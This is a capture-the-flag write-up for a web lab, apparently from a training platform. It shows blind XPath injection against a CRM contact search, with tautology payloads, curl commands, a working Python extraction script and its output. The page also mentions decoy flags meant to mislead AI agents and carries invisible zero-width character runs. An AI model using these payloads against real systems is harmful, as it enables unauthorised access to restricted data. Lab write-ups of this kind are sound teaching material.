← Back to Writeups
CUSTOMMediumWeb

Lab 333 — LeadForge — XPath Injection in Contact Search

XESXOR9/10/20265 min read
#web#custom#medium#xpath_injection#boolean_based_blind_extraction#xml_structure_enumeration#substring_extraction#decoy_flag_identification#linux

Lab 333 — LeadForge — XPath Injection in Contact Search

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-13 | Status: Solved Techniques: xpath_injection, boolean_based_blind_extraction, xml_structure_enumeration, substring_extraction, decoy_flag_identification

Summary

Task: CRM platform with contact search endpoint that interpolates user input into XPath expressions against an XML data store. Solution: Boolean-based blind XPath injection to enumerate XML structure, locate flag in /leadforge/system_config/config[7]/value, and extract it character-by-character using substring().

Lab 333 — LeadForge — XPath Injection in Contact Search — HackAdvisor

Description

LeadForge is a contact relationship management (CRM) platform built by ForgePoint Solutions. The application allows teams to manage contacts, track deals through a visual pipeline, and view analytics on team performance. The application stores its data in XML files and provides search and filtering capabilities across the contact directory. The goal is to find and exploit a vulnerability that allows access to sensitive data restricted to administrators only. The flag is stored in the admin system configuration panel. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A PHP-based CRM application that stores all data in XML files. The contact search feature passes user input directly into an XPath expression, enabling blind XPath injection. The flag is hidden in the system configuration section of the XML document, accessible only through injection since the admin panel is not available to regular users.

Credentials: user@test.com / password123

Analysis

Reconnaissance

  1. Technology stack: PHP 8.2.26 behind nginx/1.25.5. The application is a traditional server-rendered PHP app with API endpoints returning JSON. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  2. Application structure: After login, the app exposes several pages:

    • Dashboard (/) — overview
    • Contacts (/contacts) — contact directory with search
    • Deals (/deals) — deal pipeline
    • Analytics (/analytics) — team performance
    • Profile (/profile) — user settings
  3. Search endpoint: The Contacts page has a search feature powered by /api/contacts?search= that queries the XML data store.

  4. Decoy flags: Every HTML page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden <div> elements. These are anti-bot traps designed to trick automated scanners and AI agents into reporting a fake flag. The real flag must be extracted through the vulnerability. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Confirming XPath Injection

Testing the search endpoint with special characters:

  • Single quote ' → returns {"contacts":[],"total":0} (graceful error, no SQL-style error message — hints at XPath rather than SQL)
  • Tautology ') or 1=1 or (' → returns all 27 contacts, confirming injection

The underlying XPath query pattern:

xpath
//contacts/contact[contains(first_name, 'INPUT') or contains(email, 'INPUT')]

User input is interpolated directly into the XPath expression without sanitization. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Boolean Oracle Construction

To extract arbitrary data from the XML document, a boolean oracle was constructed:

Amanda') and CONDITION or contains(first_name,'ZZZZZ

This produces the XPath:

xpath
//contacts/contact[contains(first_name, 'Amanda') and CONDITION or contains(first_name,'ZZZZZ') or contains(email, 'Amanda') and CONDITION or contains(first_name,'ZZZZZ')]
  • If CONDITION is TRUE → "Amanda" contact matches → total: 1
  • If CONDITION is FALSE → falls through to contains(first_name,'ZZZZZ') which matches nothing → total: 0 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This gives a reliable 1-bit oracle for any XPath boolean expression.

XML Structure Enumeration

Root element discovery:

check("name(/*)='leadforge'") → True

Child enumeration using substring(name(/leadforge/*[N]),pos,1)='char' character-by-character:

/leadforge (root)
├── users
├── credentials
├── contacts (27 contact records)
├── deals
├── system_config (10 config elements, all named "config")
│   ├── config[1-6] — various application settings
│   ├── config[7]
│   │   ├── key: "internal_flag"
│   │   └── value: "FLAG{...}" (length 38)
│   └── config[8-10]
└── activity_log

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Union-based node counting confirmed the structure: ')]|//*|//x[contains(.,'a revealed 632 total nodes in the document.

Locating the Flag

  1. Checked if system_config contains the flag string:

    check("contains(string(/leadforge/system_config),'FLAG')") → True
    
  2. Iterated through config[1] to config[10] to find which one holds the flag:

    check("contains(string(/leadforge/system_config/config[7]),'FLAG')") → True
    
  3. Enumerated config[7] sub-elements: 2 children named key and value

    • key text: internal_flag
    • value text: contains FLAG, length = 38 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login and Establish Session

bash
curl -c cookies.txt -X POST "$TARGET/login" \
  -d "username=user@test.com&password=password123"

Step 2: Confirm XPath Injection

bash
# Tautology — returns all 27 contacts
curl -b cookies.txt "$TARGET/api/contacts?search=') or 1=1 or ('"

Step 3: Extract Flag via Boolean-Based Blind Injection

Character-by-character extraction using substring():

python
#!/usr/bin/env python3
"""
XPath Injection Exploit for LeadForge CRM
Extracts flag from /leadforge/system_config/config[7]/value
via boolean-based blind XPath injection
"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import requests
import string

TARGET = "https://a2527e9a-9224-4ba5-8747-3cae50434b26.labs.hackadvisor.io"

# Authenticate
s = requests.Session()
s.post(f"{TARGET}/login", data={
    "username": "user@test.com",
    "password": "password123"
})

def check(condition):
    """Boolean oracle - returns True if XPath condition evaluates to true.
    
    Payload structure:
      Amanda') and CONDITION or contains(first_name,'ZZZZZ
    
    If CONDITION is true  → Amanda matches → total > 0
    If CONDITION is false → ZZZZZ matches nothing → total = 0
    """
    payload = f"Amanda') and {condition} or contains(first_name,'ZZZZZ"
    r = s.get(f"{TARGET}/api/contacts", params={"search": payload})
    data = r.json()
    return data.get("total", 0) > 0
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# --- Phase 1: Enumerate XML structure (optional, for understanding) ---

# Confirm root element
assert check("name(/*)='leadforge'"), "Root element is not 'leadforge'"

# Count system_config children
for i in range(20):
    if check(f"count(/leadforge/system_config/*)={i}"):
        print(f"system_config has {i} children")
        break

# Find which config element contains FLAG
for i in range(1, 11):
    if check(f"contains(string(/leadforge/system_config/config[{i}]),'FLAG')"):
        print(f"config[{i}] contains FLAG!")
        flag_idx = i
        break
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# --- Phase 2: Extract the flag ---

BASE = f"/leadforge/system_config/config[{flag_idx}]/value"

# Determine flag length
flag_len = None
for length in range(30, 50):
    if check(f"string-length(string({BASE}))={length}"):
        flag_len = length
        print(f"Flag length: {flag_len}")
        break

# Optimized charset: hex digits first (flag body is MD5 hash),
# then remaining letters, then special characters
charset = (
    string.digits + "abcdef"           # hex chars (most common in flag body)
    + "ghijklmnopqrstuvwxyz"           # remaining lowercase
    + string.ascii_uppercase           # uppercase (for FLAG{ prefix)
    + "{}_-"                           # flag delimiters
)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

flag = ""
for pos in range(1, flag_len + 1):
    for char in charset:
        if char == "'":
            cond = f'substring(string({BASE}),{pos},1)="\'"'
        else:
            cond = f"substring(string({BASE}),{pos},1)='{char}'"
        if check(cond):
            flag += char
            print(f"[{pos}/{flag_len}] '{char}' -> {flag}", flush=True)
            break

print(f"\nFLAG: {flag}")

Extraction Output

system_config has 10 children
config[7] contains FLAG!
Flag length: 38
[1/38] 'F' -> F
[2/38] 'L' -> FL
[3/38] 'A' -> FLA
[4/38] 'G' -> FLAG
[5/38] '{' -> FLAG{
[6/38] '4' -> FLAG{4
[7/38] '4' -> FLAG{44
...
[37/38] '6' -> FLAG{REDACTED
[38/38] '}' -> FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍